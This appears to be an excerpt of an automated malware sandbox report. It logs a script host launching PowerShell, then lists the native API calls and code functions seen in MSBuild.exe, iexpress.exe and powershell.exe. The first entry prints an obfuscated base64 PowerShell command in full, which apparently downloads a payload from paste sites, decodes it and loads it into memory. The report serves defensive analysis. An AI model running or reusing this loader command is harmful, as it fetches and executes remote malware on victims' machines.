Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042CBB3 NtClose,	10_2_0042CBB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A835C0 NtCreateMutant,LdrInitializeThunk,	10_2_01A835C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82B60 NtClose,LdrInitializeThunk,	10_2_01A82B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_01A82DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_01A82C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A83090 NtSetValueKey,	10_2_01A83090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A83010 NtOpenDirectoryObject,	10_2_01A83010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A84340 NtSetContextThread,	10_2_01A84340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A84650 NtSuspendThread,	10_2_01A84650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A839B0 NtGetContextThread,	10_2_01A839B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82BA0 NtEnumerateValueKey,	10_2_01A82BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82B80 NtQueryInformationFile,	10_2_01A82B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82BE0 NtQueryValueKey,	10_2_01A82BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82BF0 NtAllocateVirtualMemory,	10_2_01A82BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82AB0 NtWaitForSingleObject,	10_2_01A82AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82AF0 NtWriteFile,	10_2_01A82AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82AD0 NtReadFile,	10_2_01A82AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82DB0 NtEnumerateKey,	10_2_01A82DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82DD0 NtDelayExecution,	10_2_01A82DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82D30 NtUnmapViewOfSection,	10_2_01A82D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82D00 NtSetInformationFile,	10_2_01A82D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A83D10 NtOpenProcessToken,	10_2_01A83D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82D10 NtMapViewOfSection,	10_2_01A82D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A83D70 NtOpenThread,	10_2_01A83D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82CA0 NtQueryInformationToken,	10_2_01A82CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82CF0 NtOpenProcess,	10_2_01A82CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82CC0 NtQueryVirtualMemory,	10_2_01A82CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82C00 NtQueryInformationProcess,	10_2_01A82C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82C60 NtCreateKey,	10_2_01A82C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82FA0 NtQuerySection,	10_2_01A82FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82FB0 NtResumeThread,	10_2_01A82FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82F90 NtProtectVirtualMemory,	10_2_01A82F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82FE0 NtCreateFile,	10_2_01A82FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82F30 NtCreateSection,	10_2_01A82F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82F60 NtCreateProcessEx,	10_2_01A82F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82EA0 NtAdjustPrivilegesToken,	10_2_01A82EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82E80 NtReadVirtualMemory,	10_2_01A82E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82EE0 NtQueueApcThread,	10_2_01A82EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A82E30 NtWriteVirtualMemory,	10_2_01A82E30
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E035C0 NtCreateMutant,LdrInitializeThunk,	12_2_04E035C0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E04650 NtSuspendThread,LdrInitializeThunk,	12_2_04E04650
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E04340 NtSetContextThread,LdrInitializeThunk,	12_2_04E04340
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02CA0 NtQueryInformationToken,LdrInitializeThunk,	12_2_04E02CA0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02C60 NtCreateKey,LdrInitializeThunk,	12_2_04E02C60
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02C70 NtFreeVirtualMemory,LdrInitializeThunk,	12_2_04E02C70
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02DF0 NtQuerySystemInformation,LdrInitializeThunk,	12_2_04E02DF0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02DD0 NtDelayExecution,LdrInitializeThunk,	12_2_04E02DD0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02D30 NtUnmapViewOfSection,LdrInitializeThunk,	12_2_04E02D30
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02D10 NtMapViewOfSection,LdrInitializeThunk,	12_2_04E02D10
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02EE0 NtQueueApcThread,LdrInitializeThunk,	12_2_04E02EE0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02E80 NtReadVirtualMemory,LdrInitializeThunk,	12_2_04E02E80
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02FE0 NtCreateFile,LdrInitializeThunk,	12_2_04E02FE0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02FB0 NtResumeThread,LdrInitializeThunk,	12_2_04E02FB0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02F30 NtCreateSection,LdrInitializeThunk,	12_2_04E02F30
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E039B0 NtGetContextThread,LdrInitializeThunk,	12_2_04E039B0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02AF0 NtWriteFile,LdrInitializeThunk,	12_2_04E02AF0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02AD0 NtReadFile,LdrInitializeThunk,	12_2_04E02AD0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02BE0 NtQueryValueKey,LdrInitializeThunk,	12_2_04E02BE0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	12_2_04E02BF0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02BA0 NtEnumerateValueKey,LdrInitializeThunk,	12_2_04E02BA0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02B60 NtClose,LdrInitializeThunk,	12_2_04E02B60
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E03090 NtSetValueKey,	12_2_04E03090
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E03010 NtOpenDirectoryObject,	12_2_04E03010
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02CF0 NtOpenProcess,	12_2_04E02CF0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02CC0 NtQueryVirtualMemory,	12_2_04E02CC0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02C00 NtQueryInformationProcess,	12_2_04E02C00
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02DB0 NtEnumerateKey,	12_2_04E02DB0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E03D70 NtOpenThread,	12_2_04E03D70
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02D00 NtSetInformationFile,	12_2_04E02D00
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E03D10 NtOpenProcessToken,	12_2_04E03D10
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02EA0 NtAdjustPrivilegesToken,	12_2_04E02EA0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02E30 NtWriteVirtualMemory,	12_2_04E02E30
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02FA0 NtQuerySection,	12_2_04E02FA0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02F90 NtProtectVirtualMemory,	12_2_04E02F90
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02F60 NtCreateProcessEx,	12_2_04E02F60
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02AB0 NtWaitForSingleObject,	12_2_04E02AB0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E02B80 NtQueryInformationFile,	12_2_04E02B80
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE96D0 NtReadFile,	12_2_02EE96D0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE97C0 NtDeleteFile,	12_2_02EE97C0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE9560 NtCreateFile,	12_2_02EE9560
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE9860 NtClose,	12_2_02EE9860
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE99D0 NtAllocateVirtualMemory,	12_2_02EE99D0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CEF8C9 NtClose,	12_2_04CEF8C9

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF93685E86D	8_2_00007FF93685E86D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF93685E1E5	8_2_00007FF93685E1E5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF9369208D1	8_2_00007FF9369208D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00418A73	10_2_00418A73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004010D0	10_2_004010D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004030D0	10_2_004030D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042F1E3	10_2_0042F1E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00410203	10_2_00410203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00402BF4	10_2_00402BF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00402BFD	10_2_00402BFD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00401B96	10_2_00401B96
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00401BA0	10_2_00401BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00401450	10_2_00401450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00416C61	10_2_00416C61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00416C63	10_2_00416C63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00402C00	10_2_00402C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040E403	10_2_0040E403
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00410423	10_2_00410423
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004024AA	10_2_004024AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004024B0	10_2_004024B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040E548	10_2_0040E548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040E553	10_2_0040E553
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0040E59C	10_2_0040E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00402750	10_2_00402750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5B1B0	10_2_01A5B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B101AA	10_2_01B101AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B081CC	10_2_01B081CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A40100	10_2_01A40100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEA118	10_2_01AEA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A8516C	10_2_01A8516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3F172	10_2_01A3F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B1B16B	10_2_01B1B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0F0E0	10_2_01B0F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B070E9	10_2_01B070E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFF0CC	10_2_01AFF0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A570C0	10_2_01A570C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A9739A	10_2_01A9739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5E3F0	10_2_01A5E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B103E6	10_2_01B103E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0132D	10_2_01B0132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0A352	10_2_01B0A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3D34C	10_2_01A3D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A552A0	10_2_01A552A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AED5B0	10_2_01AED5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B10591	10_2_01B10591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50535	10_2_01A50535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B07571	10_2_01B07571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFE4F6	10_2_01AFE4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0F43F	10_2_01B0F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A41460	10_2_01A41460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B02446	10_2_01B02446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0F7B0	10_2_01B0F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4C7C0	10_2_01A4C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50770	10_2_01A50770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A74750	10_2_01A74750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6C6E0	10_2_01A6C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B016CC	10_2_01B016CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A529A0	10_2_01A529A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B1A9A6	10_2_01B1A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A66962	10_2_01A66962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A59950	10_2_01A59950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B950	10_2_01A6B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A368B8	10_2_01A368B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A538E0	10_2_01A538E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E8F0	10_2_01A7E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01ABD800	10_2_01ABD800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A52840	10_2_01A52840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5A840	10_2_01A5A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6FB80	10_2_01A6FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A8DBF9	10_2_01A8DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B06BD7	10_2_01B06BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0FB76	10_2_01B0FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0AB40	10_2_01B0AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEDAAC	10_2_01AEDAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A95AA0	10_2_01A95AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4EA80	10_2_01A4EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFDAC6	10_2_01AFDAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC3A6C	10_2_01AC3A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B07A46	10_2_01B07A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0FA49	10_2_01B0FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A68DBF	10_2_01A68DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4ADE0	10_2_01A4ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6FDC0	10_2_01A6FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5AD00	10_2_01A5AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B07D73	10_2_01B07D73
